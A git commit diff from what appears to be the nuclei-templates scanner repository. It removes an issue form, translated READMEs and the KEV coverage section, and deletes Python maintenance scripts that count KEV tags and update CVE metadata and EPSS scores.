Update SUSE Manager panel template

- Fix metadata key from max-requests to max-request - Add impact and remediation sections - Simplify Shodan query for better performance - Remove complex FOFA queries not from awesome-search-queries - Clean up tags and add verified metadata
2026-11-07 08:36:19 -10:00 · 2025-07-30 20:00:16 -05:00
11904 changed files with 53011 additions and 193717 deletions
@@ -1,73 +0,0 @@
-name: Enhancement Request
-description: Suggest an improvement or enhancement for nuclei-templates.
-title: "[ENHANCEMENT] ..."
-labels: ["enhancement"]
-body:
-  - type: markdown
-    attributes:
-      value: |
-        Thanks for taking the time to suggest an enhancement!
-
-        :warning: **Issues missing important information may be closed without further investigation.**
-  - type: checkboxes
-    attributes:
-      label: Is there an existing issue for this?
-      description: Please search to see if an issue or discussion already exists for the enhancement you are proposing.
-      options:
-      - label: I have searched the existing issues and discussions.
-        required: true
-  - type: textarea
-    attributes:
-      label: Enhancement Description
-      description: |
-        Provide a clear and concise description of the enhancement you're proposing.
-
-        What would you like to see improved or added?
-      placeholder: |
-        A clear description of what you want to happen...
-    validations:
-      required: true
-  - type: textarea
-    attributes:
-      label: Use Case / Problem
-      description: |
-        Describe the use case or problem that this enhancement would solve.
-
-        Why is this enhancement needed? What problem does it address?
-      placeholder: |
-        Currently, when...
-        This causes...
-        It would be better if...
-    validations:
-      required: true
-  - type: textarea
-    attributes:
-      label: Proposed Solution
-      description: |
-        Describe your proposed solution or implementation approach.
-
-        How do you envision this enhancement working?
-      placeholder: |
-        The enhancement could work by...
-        It should include...
-    validations:
-      required: false
-  - type: textarea
-    attributes:
-      label: Alternatives Considered
-      description: |
-        Have you considered any alternative solutions or workarounds?
-      placeholder: |
-        Alternative approach 1...
-        Alternative approach 2...
-    validations:
-      required: false
-  - type: textarea
-    attributes:
-      label: Additional Context
-      description: |
-        Add any other context, screenshots, examples, or references about the enhancement here.
-
-        Tip: You can attach images or files by clicking this area to highlight it and then dragging files in.
-    validations:
-      required: false
@@ -14,11 +14,11 @@ Nuclei Templates
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

@@ -36,21 +36,7 @@ An overview of the nuclei template project, including statistics on unique tags,

 <table>
 <tr>
-<td>
-
-### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
-
-Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
-
-| **KEV Source** | **Templates** | **Description** |
-|----------------|---------------|-----------------|
-| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
-| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
-| 🟢 **Both Sources** | **{kev_stats.get('both', 0)}** | Templates covering vulnerabilities in both catalogs |
-
-> 💡 **Total unique KEV templates: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
-
---
+<td> 

 {get_top10()}

@@ -1,101 +0,0 @@
-f"""
-
-<h1 align="center">
-Nuclei 模板
-</h1>
-<div align="center">
-<a href="README.md">English</a> |
-<a href="README_CN.md">简体中文</a> |
-<a href="README_JA.md">日本語</a> |
-<a href="README_KR.md">한국어</a>
-</div>
-<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
-
-
-<p align="center">
-<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
-<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
-<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
-<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
-</p>
-
-<p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
-  <a href="#-贡献">贡献</a> •
-  <a href="#-交流">交流</a> •
-  <a href="#-社区">社区</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
-  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
-</p>
-
----
-
-模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
-这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
-我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
-
-
-## Nuclei模板项目情况概述
-
-
-以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
-
-<table>
-<tr>
-<td>
-
-### 🚨 已知被利用漏洞 (KEV) 覆盖范围
-
-Nuclei 模板为野外被积极利用的漏洞提供覆盖:
-
-| **KEV 来源** | **模板数量** | **描述** |
-|----------------|---------------|-----------------|
-| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
-| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
-| 🟢 **两个来源** | **{kev_stats.get('both', 0)}** | 覆盖两个目录中漏洞的模板 |
-
-> 💡 **唯一 KEV 模板总数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
-
---
-
-{get_top10()}
-
-**{command("tree", -2, None)}**.
-
-</td>
-</tr>
-</table>
-
-📖 文档
-----
-
-详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
-
-💪 贡献
-----
-
-社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
-
-![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
-
-💬 交流
-----
-
-如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
-
-👨‍💻 社区
-----
-
-欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery)，与项目维护人员直接讨论，或与其他人分享有关安全和自动化的想法。
-此外，您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们，了解 Nuclei 的最新动态。
-
-
-<p align="center">
-<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
-  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
-</a>
-</p>
-
-
-最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
-"""
@@ -1,96 +0,0 @@
-f"""<h1 align="center">
-Nuclei テンプレート
-</h1>
-<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
-
-<p align="center">
-<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
-<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
-<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
-<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
-</p>
-      
-<p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
-  <a href="#-contributions">貢献</a> •
-  <a href="#-discussion">ディスカッション</a> •
-  <a href="#-community">コミュニティ</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
-  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
-</p>
-
-<p align="center">
-  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
-  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
-  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
-</p>
-
----
-
-テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
-このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
-テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
-
-## Nuclei テンプレートの概要
-
-Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
-
-<table>
-<tr>
-<td>
-
-### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
-
-Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
-
-| **KEV ソース** | **テンプレート数** | **説明** |
-|----------------|---------------|-----------------|
-| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
-| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
-| 🟢 **両方のソース** | **{kev_stats.get('both', 0)}** | 両方のカタログの脆弱性をカバーするテンプレート |
-
-> 💡 **ユニークKEVテンプレート総数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
-
---
-
-{get_top10()}
-
-**{command("tree", -2, None)}**.
-
-</td>
-</tr>
-</table>
-
-📖 ドキュメント
-----
-
-新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
-
-💪 貢献
-----
-
-Nucleiテンプレートはコミュニティの貢献によって動作します。
-[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
-
-![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
-
-💬 ディスカッション
-----
-
-質問、疑問、アイデアを話し合いたいですか？
-[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
-
-👨‍💻 コミュニティ
-----
-
-プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
-
-<p align="center">
-<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
-  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
-</a>
-</p>
-
-皆さんの貢献とコミュニティの活性化への努力に感謝します。
-:heart:
-"""
@@ -1,98 +0,0 @@
-f"""
-
-<h1 align="center">
-Nuclei 템플릿
-</h1>
-<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
-
-
-<p align="center">
-<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
-<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
-<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
-<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
-</p>
-      
-<p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
-  <a href="#-contributions">기여</a> •
-  <a href="#-discussion">논의</a> •
-  <a href="#-community">커뮤니티</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
-  <a href="https://discord.gg/projectdiscovery">디스코드</a>
-</p>
-
-<p align="center">
-  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
-  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
-</p>
-
----
-
-템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
-이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
-템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
-
-## Nuclei 템플릿 개요
-
-고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다. 
-
-<table>
-<tr>
-<td>
-
-### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
-
-Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
-
-| **KEV 소스** | **템플릿 수** | **설명** |
-|----------------|---------------|-----------------|
-| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
-| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
-| 🟢 **두 소스 모두** | **{kev_stats.get('both', 0)}** | 두 카탈로그의 취약점을 포함하는 템플릿 |
-
-> 💡 **총 고유 KEV 템플릿: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
-
---
-
-{get_top10()}
-
-**{command("tree", -2, None)}**.
-
-</td>
-</tr>
-</table>
-
-📖 문서
-----
-
-새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
-
-💪 기여
-----
-
-Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
-[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
-
-![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
-
-💬 논의
-----
-
-같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
-[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
-
-👨‍💻 커뮤니티
-----
-
-프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
-
-<p align="center">
-<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
-  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
-</a>
-</p>
-
-여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
-:heart:
-"""
@@ -1,119 +0,0 @@
-#!/usr/bin/env python3
-"""
-Count KEV and vKEV templates for README statistics
-
-This script counts the number of templates with 'kev' and 'vkev' tags
-and outputs the statistics in a format suitable for the README.
-"""
-
-import re
-import sys
-from pathlib import Path
-from typing import Dict, Set
-
-
-def has_tag_in_file(file_path: Path, tag: str) -> bool:
-    """Check if a template file has a specific tag."""
-    try:
-        with open(file_path, 'r', encoding='utf-8') as f:
-            content = f.read()
-
-        # Look for tags field and check if tag is present
-        tags_match = re.search(r'tags:\s*([^\n]+)', content)
-        if tags_match:
-            tags_str = tags_match.group(1)
-            # Check for tag as a standalone tag (not part of another word)
-            if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
-                return True
-    except Exception as e:
-        print(f"Error reading {file_path}: {e}", file=sys.stderr)
-
-    return False
-
-
-def count_kev_templates(root_dir: str) -> Dict[str, int]:
-    """Count templates with KEV and vKEV tags."""
-    root_path = Path(root_dir)
-
-    # Find all YAML template files
-    patterns = [
-        "**/*.yaml",
-        "**/*.yml"
-    ]
-
-    all_files = set()
-    for pattern in patterns:
-        all_files.update(root_path.glob(pattern))
-
-    # Filter out non-template files
-    template_files = [
-        f for f in all_files
-        if '/workflows/' not in str(f)
-        and '/.github/' not in str(f)
-        and '/profiles/' not in str(f)
-    ]
-
-    kev_count = 0
-    vkev_count = 0
-    both_count = 0
-    kev_only_count = 0
-    vkev_only_count = 0
-
-    kev_files = set()
-    vkev_files = set()
-
-    for template_file in template_files:
-        has_kev = has_tag_in_file(template_file, 'kev')
-        has_vkev = has_tag_in_file(template_file, 'vkev')
-
-        if has_kev:
-            kev_count += 1
-            kev_files.add(template_file)
-
-        if has_vkev:
-            vkev_count += 1
-            vkev_files.add(template_file)
-
-        if has_kev and has_vkev:
-            both_count += 1
-        elif has_kev:
-            kev_only_count += 1
-        elif has_vkev:
-            vkev_only_count += 1
-
-    return {
-        'kev_total': kev_count,
-        'vkev_total': vkev_count,
-        'both': both_count,
-        'kev_only': kev_only_count,
-        'vkev_only': vkev_only_count,
-        'total_templates': len(template_files)
-    }
-
-
-def main():
-    """Main entry point."""
-    root_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
-
-    stats = count_kev_templates(root_dir)
-
-    # Output in a format that can be easily parsed
-    print(f"KEV_TOTAL={stats['kev_total']}")
-    print(f"VKEV_TOTAL={stats['vkev_total']}")
-    print(f"BOTH={stats['both']}")
-    print(f"KEV_ONLY={stats['kev_only']}")
-    print(f"VKEV_ONLY={stats['vkev_only']}")
-    print(f"TOTAL_TEMPLATES={stats['total_templates']}")
-
-    # Also print human-readable summary to stderr for logging
-    print("\n=== KEV/vKEV Statistics ===", file=sys.stderr)
-    print(f"CISA KEV templates: {stats['kev_total']}", file=sys.stderr)
-    print(f"VulnCheck KEV templates: {stats['vkev_total']}", file=sys.stderr)
-    print(f"Templates in both: {stats['both']}", file=sys.stderr)
-    print(f"CISA KEV only: {stats['kev_only']}", file=sys.stderr)
-    print(f"VulnCheck KEV only: {stats['vkev_only']}", file=sys.stderr)
-    print(f"Total templates scanned: {stats['total_templates']}", file=sys.stderr)
-
-
-if __name__ == "__main__":
-    main()
@@ -1,119 +0,0 @@
-#!/usr/bin/env python3
-"""
-CVE Template Field Enhancement Script
-Adds missing impact and remediation fields from ProjectDiscovery API
-"""
-
-import re
-import sys
-import requests
-from pathlib import Path
-
-API_URL = "https://api.projectdiscovery.io/v2/vulnerability"
-
-def check_missing_fields(content):
-    """Check if impact or remediation fields are missing."""
-    has_impact = bool(re.search(r'^\s{2}impact:', content, re.MULTILINE))
-    has_remediation = bool(re.search(r'^\s{2}remediation:', content, re.MULTILINE))
-    return (not has_impact, not has_remediation)
-
-def extract_cve_id(content):
-    """Extract CVE ID from template."""
-    match = re.search(r'^id:\s*(CVE-\d{4}-\d+)', content, re.MULTILINE)
-    return match.group(1) if match else None
-
-def fetch_from_api(cve_id):
-    """Fetch impact and remediation from ProjectDiscovery API."""
-    try:
-        response = requests.get(f"{API_URL}/{cve_id}", timeout=10)
-        if response.status_code == 200:
-            data = response.json().get('data', {})
-            return data.get('impact'), data.get('remediation')
-    except:
-        pass
-    return None, None
-
-def add_fields(content, impact, remediation, needs_impact, needs_remediation):
-    """Add impact and remediation fields after description."""
-    lines = content.split('\n')
-    result = []
-    i = 0
-
-    while i < len(lines):
-        line = lines[i]
-        result.append(line)
-
-        # Found description field
-        if re.match(r'^\s{2}description:', line):
-            i += 1
-            # Copy all description content (lines starting with 4+ spaces or |)
-            while i < len(lines):
-                if lines[i].strip() == '' or lines[i].startswith('    ') or lines[i].strip() == '|':
-                    result.append(lines[i])
-                    i += 1
-                else:
-                    # End of description block - add new fields here
-                    if needs_impact and impact:
-                        result.append('  impact: |')
-                        result.append(f'    {impact}')
-                    if needs_remediation and remediation:
-                        result.append('  remediation: |')
-                        result.append(f'    {remediation}')
-                    break
-            continue
-
-        i += 1
-
-    return '\n'.join(result)
-
-def enhance_file(file_path):
-    """Enhance a single CVE template file."""
-    try:
-        content = file_path.read_text()
-
-        # Check what's missing
-        needs_impact, needs_remediation = check_missing_fields(content)
-        if not needs_impact and not needs_remediation:
-            print(f"✓ {file_path.name} - already complete")
-            return False
-
-        # Get CVE ID
-        cve_id = extract_cve_id(content)
-        if not cve_id:
-            print(f"✗ {file_path.name} - no CVE ID found")
-            return False
-
-        # Fetch from API
-        impact, remediation = fetch_from_api(cve_id)
-        if not impact and not remediation:
-            print(f"⚠ {cve_id} - not found in API")
-            return False
-
-        # Add fields
-        enhanced = add_fields(content, impact, remediation, needs_impact, needs_remediation)
-        file_path.write_text(enhanced)
-
-        print(f"✓ {cve_id} - enhanced")
-        return True
-
-    except Exception as e:
-        print(f"✗ {file_path.name} - error: {e}")
-        return False
-
-def main():
-    if len(sys.argv) < 2:
-        print("Usage: python enhance-cve-fields.py <file1> [file2] ...")
-        sys.exit(1)
-
-    enhanced = 0
-    for file_arg in sys.argv[1:]:
-        file_path = Path(file_arg)
-        if file_path.exists():
-            if enhance_file(file_path):
-                enhanced += 1
-
-    print(f"\nEnhanced {enhanced} file(s)")
-    sys.exit(0)
-
-if __name__ == '__main__':
-    main()
@@ -1,256 +0,0 @@
-#!/usr/bin/env python3
-"""
-EPSS Score Updater for Nuclei Templates
-
-This script updates EPSS scores for all CVE templates by:
-1. Scanning all CVE YAML files
-2. Extracting CVE IDs
-3. Fetching latest EPSS scores from the FIRST API
-4. Updating the templates with new scores
-"""
-
-import os
-import re
-import sys
-import time
-import yaml
-import requests
-from pathlib import Path
-from typing import Dict, List, Tuple, Optional
-
-# Configuration
-EPSS_API_URL = "https://api.first.org/data/v1/epss"
-BATCH_SIZE = 50  # API limit for batch requests
-RATE_LIMIT_DELAY = 1  # seconds between API calls
-MAX_RETRIES = 3
-TIMEOUT = 30
-
-class EPSSUpdater:
-    def __init__(self, root_dir: str):
-        self.root_dir = Path(root_dir)
-        self.updated_count = 0
-        self.error_count = 0
-        
-    def find_cve_templates(self) -> List[Path]:
-        """Find all CVE template files."""
-        cve_files = []
-        
-        # Search for CVE templates in common directories
-        patterns = [
-            "**/cves/**/*.yaml",
-            "**/cve-*.yaml"
-        ]
-        
-        for pattern in patterns:
-            cve_files.extend(self.root_dir.glob(pattern))
-        
-        # Filter duplicates and sort
-        return sorted(list(set(cve_files)))
-    
-    def extract_cve_id(self, file_path: Path) -> Optional[str]:
-        """Extract CVE ID from filename or template content."""
-        # First try filename
-        filename = file_path.stem
-        cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
-        if cve_match:
-            return cve_match.group().upper()
-        
-        # If not found in filename, try content
-        try:
-            with open(file_path, 'r', encoding='utf-8') as f:
-                content = f.read()
-                cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
-                if cve_match:
-                    return cve_match.group(1).upper()
-        except Exception as e:
-            print(f"Error reading {file_path}: {e}")
-            
-        return None
-    
-    def fetch_epss_scores(self, cve_ids: List[str]) -> Dict[str, Dict[str, str]]:
-        """Fetch EPSS scores from API for multiple CVEs."""
-        epss_data = {}
-        
-        # Process in batches
-        for i in range(0, len(cve_ids), BATCH_SIZE):
-            batch = cve_ids[i:i+BATCH_SIZE]
-            cve_param = ','.join(batch)
-            
-            for attempt in range(MAX_RETRIES):
-                try:
-                    print(f"Fetching EPSS data for batch {i//BATCH_SIZE + 1} ({len(batch)} CVEs)...")
-                    
-                    response = requests.get(
-                        EPSS_API_URL,
-                        params={'cve': cve_param},
-                        timeout=TIMEOUT
-                    )
-                    response.raise_for_status()
-                    
-                    data = response.json()
-                    
-                    if data.get('status') == 'OK' and 'data' in data:
-                        for item in data['data']:
-                            cve_id = item['cve'].upper()
-                            epss_data[cve_id] = {
-                                'epss': item['epss'],
-                                'percentile': item['percentile']
-                            }
-                    
-                    break  # Success, exit retry loop
-                    
-                except requests.RequestException as e:
-                    print(f"API request failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
-                    if attempt == MAX_RETRIES - 1:
-                        print(f"Failed to fetch EPSS data for batch: {batch}")
-                    else:
-                        time.sleep(RATE_LIMIT_DELAY * (attempt + 1))
-                
-                except Exception as e:
-                    print(f"Unexpected error: {e}")
-                    break
-            
-            # Rate limiting between batches
-            if i + BATCH_SIZE < len(cve_ids):
-                time.sleep(RATE_LIMIT_DELAY)
-        
-        return epss_data
-    
-    def update_template(self, file_path: Path, cve_id: str, epss_data: Dict[str, str]) -> bool:
-        """Update a template file with new EPSS scores."""
-        try:
-            with open(file_path, 'r', encoding='utf-8') as f:
-                content = f.read()
-            
-            # Parse YAML to get structure
-            try:
-                template_data = yaml.safe_load(content)
-            except yaml.YAMLError as e:
-                print(f"YAML parsing error in {file_path}: {e}")
-                return False
-            
-            if not template_data or 'info' not in template_data:
-                print(f"Invalid template structure in {file_path}")
-                return False
-            
-            # Ensure classification section exists
-            if 'classification' not in template_data['info']:
-                template_data['info']['classification'] = {}
-            
-            classification = template_data['info']['classification']
-            
-            # Convert EPSS values to float for comparison
-            new_epss = float(epss_data['epss'])
-            new_percentile = float(epss_data['percentile'])
-            
-            current_epss = classification.get('epss-score', 0)
-            current_percentile = classification.get('epss-percentile', 0)
-            
-            # Check if update is needed
-            if (abs(new_epss - float(current_epss)) < 0.00001 and 
-                abs(new_percentile - float(current_percentile)) < 0.00001):
-                return False  # No significant change
-            
-            # Update scores using string replacement to preserve formatting
-            epss_score_str = f"{new_epss:.5f}".rstrip('0').rstrip('.')
-            percentile_str = f"{new_percentile:.5f}".rstrip('0').rstrip('.')
-            
-            # Update epss-score
-            if 'epss-score:' in content:
-                content = re.sub(
-                    r'(\s+epss-score:\s*)[0-9.]+',
-                    fr'\g<1>{epss_score_str}',
-                    content
-                )
-            else:
-                # Add after cve-id if exists
-                if 'cve-id:' in content:
-                    content = re.sub(
-                        r'(\s+cve-id:\s*CVE-\d{4}-\d+\s*\n)',
-                        fr'\g<1>    epss-score: {epss_score_str}\n',
-                        content
-                    )
-            
-            # Update epss-percentile
-            if 'epss-percentile:' in content:
-                content = re.sub(
-                    r'(\s+epss-percentile:\s*)[0-9.]+',
-                    fr'\g<1>{percentile_str}',
-                    content
-                )
-            else:
-                # Add after epss-score
-                content = re.sub(
-                    r'(\s+epss-score:\s*[0-9.]+\s*\n)',
-                    fr'\g<1>    epss-percentile: {percentile_str}\n',
-                    content
-                )
-            
-            # Write updated content
-            with open(file_path, 'w', encoding='utf-8') as f:
-                f.write(content)
-            
-            print(f"Updated {file_path.name}: EPSS={epss_score_str}, Percentile={percentile_str}")
-            return True
-            
-        except Exception as e:
-            print(f"Error updating {file_path}: {e}")
-            return False
-    
-    def run(self):
-        """Main execution function."""
-        print("Starting EPSS score update...")
-        
-        # Find all CVE templates
-        template_files = self.find_cve_templates()
-        print(f"Found {len(template_files)} CVE template files")
-        
-        if not template_files:
-            print("No CVE templates found!")
-            return
-        
-        # Extract CVE IDs and map to files
-        cve_to_files = {}
-        for file_path in template_files:
-            cve_id = self.extract_cve_id(file_path)
-            if cve_id:
-                if cve_id not in cve_to_files:
-                    cve_to_files[cve_id] = []
